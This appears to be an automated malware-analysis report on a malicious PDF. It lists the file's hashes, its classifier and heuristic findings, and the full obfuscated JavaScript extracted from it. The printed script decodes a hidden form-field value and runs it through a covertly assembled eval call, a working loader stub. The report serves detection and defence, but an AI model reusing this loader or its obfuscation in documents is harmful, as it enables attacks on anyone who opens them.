Malicious PDF — malware analysis report

Static analysis result for SHA-256 d204d9b5d4744959…

MALICIOUS

PDF

43.5 KB Created: 2012-08-03 07:50:33 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: e4a0a1a5126ac8f1ede9c7207b52fbe4 SHA-1: 6c93d5bba805d05593658db6f3ca38758240f626 SHA-256: d204d9b5d474495910c5aa5dcfeba19fcd689fda2c4ab94723c0ecce67e8cd04
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream is obfuscated and appears to be designed to download and execute a second-stage payload. The presence of JavaScript actions and embedded JS streams, along with the ML classification, strongly suggests malicious intent. No specific family could be identified due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9978

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function jgsdfgergeg(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function opjifodshguidfs(asd){return String.fromCharCode(asd);}
function uvysaudyfqwufqw(str){return str.replace(/p/g,",");}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0xAA55 1451 bytes
SHA-256: 02e264fff57c65df079edde14f6524a7a20b36823b6cf2fdcc1f472564a84888
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function herwerwert(){
function uerhsdgaFSDAGAS(str){var set='';var s='';var ee='';
str = uvysaudyfqwufqw(str);
str = str.split(",");
for(var i=0;i<str.length;i++){  
ee=str[i]/(18/6);
set+=ytyutdyusavdfyusd(ee.toString(64/4));}
return set;}
function iuibuisdobfigwe(hex) {
    var str = '';var zzz=opjifodshguidfs;
    for (var i = 0; i < hex.length; i += 2){
	var sssss = hex.substr(i,2);
       str +=opjifodshguidfs('asdfwefwuiegfyuadsui0x'.substr(20,2)+sssss);
}return str;}
function obuiaosbdfiog(input2) {var asdf =uerhsdgaFSDAGAS(input2) ; var asfdsad = iuibuisdobfigwe(asdf); return asfdsad;}
function jgsdfgergeg(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function opjifodshguidfs(asd){return String.fromCharCode(asd);}
function uvysaudyfqwufqw(str){return str.replace(/p/g,",");}
function ytyutdyusavdfyusd(eds){var set='';var s=eds;
if (s.length<2)
{set=jgsdfgergeg(s);}
else{set=s;}
return set;}
function wasbyuqewbewui(d,dd){return d+dd;}
var b2=getField("Text1");
var aDFsdfasd=b2.value;
var aDFsdfasd=obuiaosbdfiog(aDFsdfasd);
var ohgioahgopqwpgasdfqwf  = app.alert['constructor'];
var hqgasdfqw="false";var jdhkluyrrtj="true";
var jyethwerewfg="gakljsdhjkashkvhjaksjldadsf";
var ojopdghosasopas=jdhkluyrrtj[(3+3)/2];
ojopdghosasopas+=jyethwerewfg[(14+14)/2];
ojopdghosasopas+=hqgasdfqw[((1+9)/5)-1];
ojopdghosasopas+=hqgasdfqw[(2+10)/6];
ohgioahgopqwpgasdfqwf[ojopdghosasopas](aDFsdfasd);
}
herwerwert();

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